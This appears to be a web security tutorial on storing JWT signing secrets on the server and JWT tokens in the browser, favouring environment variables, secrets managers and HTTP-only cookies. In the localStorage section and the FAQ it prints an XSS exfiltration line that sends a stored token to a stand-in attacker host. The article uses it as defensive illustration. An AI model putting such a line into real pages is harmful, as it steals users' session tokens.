Two Different Things — Two Different Problems

This article covers two distinct storage problems that are often confused:

🖥️ Server Side
JWT Secret Key The cryptographic key the server uses to sign and verify tokens. Must never leave the server.
💻 Client Side
JWT Token The token issued to the user after login. Stored in the browser — but where matters enormously.

🎯 Different storage, different rules, different attack vectors. Let's cover each one clearly.

🖥️ Part 1

JWT Secret Key — Server-Side Storage

✅ DO #1

Store in Environment Variables (.env file)

The most fundamental and widely used approach is the .env file. It keeps secrets out of source code and works perfectly for small to medium projects.

# .env JWT_SECRET=7f3a9b2c8d4e1f6a0b5c9d3e7f2a1b4c8d5e9f0a3b6c1d4e7f2a0b5c8d3e6f1 JWT_REFRESH_SECRET=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2 // Node.js usage require('dotenv').config(); const secret = process.env.JWT_SECRET;

🔐 Always use a strong, cryptographically secure key — generate one instantly at jwtsecretkeygenerator.com.

✅ DO #2

Always Add .env to .gitignore

This is the single most commonly forgotten step — and the most dangerous. The moment your .env file is committed to GitHub or GitLab, your secret is publicly exposed.

# .gitignore .env .env.local .env.production .env.staging

⚠️ Do this before your first commit. Tools like gitleaks can scan your repo history for accidentally committed secrets.

✅ DO #3

Use Platform Secrets in Cloud Deployments

In production, never upload a .env file to the server. Use the platform's built-in secrets management instead:

🟣 Heroku heroku config:set JWT_SECRET=...
▲ Vercel Dashboard → Project → Settings → Environment Variables
🚂 Railway Dashboard → Service → Environment → Add Variable
🌐 Render Dashboard → Service → Environment → Add Variable
☁️ AWS EC2 export JWT_SECRET=...
Add to ~/.bashrc to persist
✅ DO #4

Use a Secrets Manager at Enterprise Scale

For large or high-security applications, use a dedicated secrets management system that supports automatic rotation, versioning, and audit logs.

🏛️ HashiCorp Vault
  • On-premise & cloud
  • Automatic key rotation
  • Detailed access logs
  • Free & open-source
☁️ AWS Secrets Manager
  • Time-based auto-rotation
  • IAM access control
  • SDK integration
🔵 Google Secret Manager
  • Version-based management
  • Built into GCP
🟦 Azure Key Vault
  • Microsoft Azure native
  • HSM-backed keys
🟠 Doppler
  • Developer-friendly UI
  • Supports all platforms
// HashiCorp Vault — Node.js example const vault = require('node-vault')(); async function getJWTSecret() { const result = await vault.read('secret/data/jwt'); return result.data.data.JWT_SECRET; } // AWS Secrets Manager — Node.js example const { SecretsManagerClient, GetSecretValueCommand } = require('@aws-sdk/client-secrets-manager'); const client = new SecretsManagerClient({ region: 'ap-south-1' }); async function getSecret() { const command = new GetSecretValueCommand({ SecretId: 'prod/jwt/secrets' }); const response = await client.send(command); return JSON.parse(response.SecretString); }
✅ DO #5

Validate Secrets at Application Startup

As soon as the application starts, check that all required secrets are present and meet minimum length requirements. This prevents silent failures in production.

require('dotenv').config(); function validateSecrets() { const required = ['JWT_SECRET', 'JWT_REFRESH_SECRET']; const missing = required.filter(key => !process.env[key]); if (missing.length > 0) { console.error(`❌ Missing secrets: ${missing.join(', ')}`); process.exit(1); } if (process.env.JWT_SECRET.length < 32) { console.error('❌ JWT_SECRET too short! Minimum 32 characters required.'); process.exit(1); } console.log('✅ All secrets validated successfully'); } validateSecrets();

🚫 JWT Secret Key — What NOT to Do

❌ DON'T #1

Never Hardcode the Secret in Your Code

// Never do this const token = jwt.sign(payload, "myHardcodedSecret123");
☠️ A secret hardcoded in the code is permanently stored in Git history — even if you delete it later. Once pushed, consider it compromised.
❌ DON'T #2

Don't Store the Secret in the Database

This creates a circular dependency — the application needs the JWT secret to function, but must first authenticate with the database to retrieve it. It adds unnecessary complexity and a single point of failure.

⚠️ If the database is compromised, the attacker gains both user data and the key to forge any JWT token.
❌ DON'T #3

Don't Store in Plain-Text Config Files

// config.js — Wrong module.exports = { jwtSecret: "mySecretKey123", // This file could be committed! port: 3000 }

Config files are often committed to version control. Even if you add them to .gitignore later, the damage may already be done.

❌ DON'T #4

Never Put Secrets in Frontend / Client-Side Code

JWT secrets should never appear in any frontend JavaScript, React, Angular, or Vue code. The secret key belongs exclusively on the server — it is what makes tokens trustworthy.

🌐 Anything in frontend code is visible in the browser's developer tools, browser extensions, and network traffic. A secret in frontend code is effectively public.
❌ DON'T #5

Never Log Secrets — Even During Debugging

// Never do this — not even temporarily console.log('JWT secret:', process.env.JWT_SECRET);
📋 Production logs are frequently forwarded to third-party monitoring tools (Datadog, Splunk, CloudWatch). A logged secret becomes visible to every service with log access.
💻 Part 2

JWT Token — Client-Side Storage

✅ DO #1

Use HTTP-only Cookies — Best Option

The most secure way to store a JWT token on the client is in an HTTP-only cookie. JavaScript cannot access HTTP-only cookies — so even if your app has an XSS vulnerability, the token cannot be stolen.

// Server side — set the token as an HTTP-only cookie res.cookie('accessToken', token, { httpOnly: true, // No JavaScript access — XSS protection secure: true, // HTTPS only sameSite: 'Strict', // CSRF protection maxAge: 15 * 60 * 1000 // 15 minutes });
✅ DO #2

Store the Access Token in JavaScript Memory (SPAs)

For single-page applications (React, Vue, Angular), store the access token in a JavaScript module-level variable — not in localStorage. A memory token is cleared on page refresh, limiting its exposure window.

// auth.js — React / SPA pattern let accessToken = null; // Module-level — not in localStorage export function setAccessToken(token) { accessToken = token; } export function getAccessToken() { return accessToken; }
✅ DO #3

Best Combination: Access Token in Memory + Refresh Token in HTTP-only Cookie

This pattern gives you protection against both XSS and CSRF attacks simultaneously:

// ✅ Access token → JavaScript memory variable (cleared on refresh) // ✅ Refresh token → HTTP-only cookie (JS cannot read it) // When the page loads / access token expires: // → Browser sends the HTTP-only refresh token cookie automatically // → Server validates it and issues a new access token // → Store the new access token in memory

🛡️ This is the gold standard pattern for SPA authentication — short-lived access tokens in memory, long-lived refresh tokens in HTTP-only cookies.

🚫 JWT Token Storage — What NOT to Do

❌ DON'T #1

Never Store Tokens in localStorage

// Absolutely wrong localStorage.setItem('token', jwtToken);
💀 localStorage is freely accessible by JavaScript. One XSS vulnerability = instant token theft:
fetch('https://attacker.com/?t=' + localStorage.getItem('token'));
❌ DON'T #2

sessionStorage Isn't Safe Either

sessionStorage is slightly better than localStorage in that it clears when the tab closes — but it is equally accessible by JavaScript and equally vulnerable to XSS attacks.

❌ DON'T #3

Never Transmit Tokens in the URL

// Wrong https://yourapp.com/dashboard?token=eyJhbGci...
📜 URL tokens are recorded in browser history, server access logs, and leaked through Referer headers when the user navigates to external pages.
❌ DON'T #4

Don't Use Regular Cookies Without the httpOnly Flag

// Wrong — httpOnly is missing res.cookie('token', jwtToken, { secure: true }); // JavaScript can still read this

Without the httpOnly flag, JavaScript can access the cookie — there is no XSS protection. The secure flag alone is not enough.

Complete Picture — At a Glance

🖥️ Server Side — JWT Secret Key

✅ Do
  • Environment variables (.env file)
  • Add .env to .gitignore
  • Cloud platform secrets (Heroku, Vercel, Railway)
  • HashiCorp Vault / AWS Secrets Manager (enterprise)
  • Startup validation
❌ Don't
  • Hardcode in source code
  • Store in a database
  • Plain text in config files
  • Put in frontend / client-side code
  • Log it — even temporarily

💻 Client Side — JWT Token

✅ Do
  • HTTP-only cookie (best option)
  • JavaScript memory / module variable (SPA)
  • Access token in memory + Refresh in HTTP-only cookie
❌ Don't
  • localStorage
  • sessionStorage
  • URL query parameters
  • Regular (non-httpOnly) cookies

Recommended Setup by Environment

Environment Recommended Storage Method
Development .env file → loaded via dotenv → accessed from process.env
Staging / Production (Small Apps) Platform environment variables — Heroku Config Vars, Vercel Env, Railway, Render
Production (Medium Apps) Server environment variables + PM2 ecosystem config for process management
Production (Large / Enterprise) HashiCorp Vault or AWS Secrets Manager with automatic rotation and access control

Frequently Asked Questions

Where should JWT secret keys be stored on the server?

JWT secret keys should be stored in environment variables — using a .env file (with .env added to .gitignore) for small-to-medium projects, platform environment variables (Heroku, Vercel, Railway) for deployed apps, or a dedicated secrets manager like HashiCorp Vault or AWS Secrets Manager for enterprise applications. Never hardcode the key in your source code.

Where should JWT tokens be stored on the client?

JWT tokens should be stored in HTTP-only cookies on the client side. HTTP-only cookies cannot be accessed by JavaScript, protecting tokens from XSS attacks. For SPAs, store the access token in a JavaScript memory variable and the refresh token in an HTTP-only cookie. Never store tokens in localStorage or sessionStorage.

Why is localStorage unsafe for storing JWT tokens?

localStorage is accessible by any JavaScript code on the page. If your application has an XSS vulnerability, an attacker can steal the token with a single line: fetch('https://attacker.com/?t=' + localStorage.getItem('token')). HTTP-only cookies are immune to this attack because JavaScript cannot read them.

What is the difference between storing a JWT secret key and a JWT token?

The JWT secret key is the server-side cryptographic key used to sign and verify tokens — it must never leave the server and should be stored in environment variables or a secrets manager. The JWT token is issued to the client upon login — it should be stored in an HTTP-only cookie or in JavaScript memory (for SPAs), never in localStorage.

Conclusion

The JWT secret key and the JWT token are stored separately — and both are equally important. Store the secret key in environment variables on the server, add .env to .gitignore, and use platform secrets or a dedicated secrets manager for production. Store the JWT token in HTTP-only cookies on the client — and always avoid localStorage.

🔐 Security starts with a solid foundation. Visit jwtsecretkeygenerator.com to generate a cryptographically secure key in one click — then store it properly in environment variables. Every other security measure depends on this first step being correct.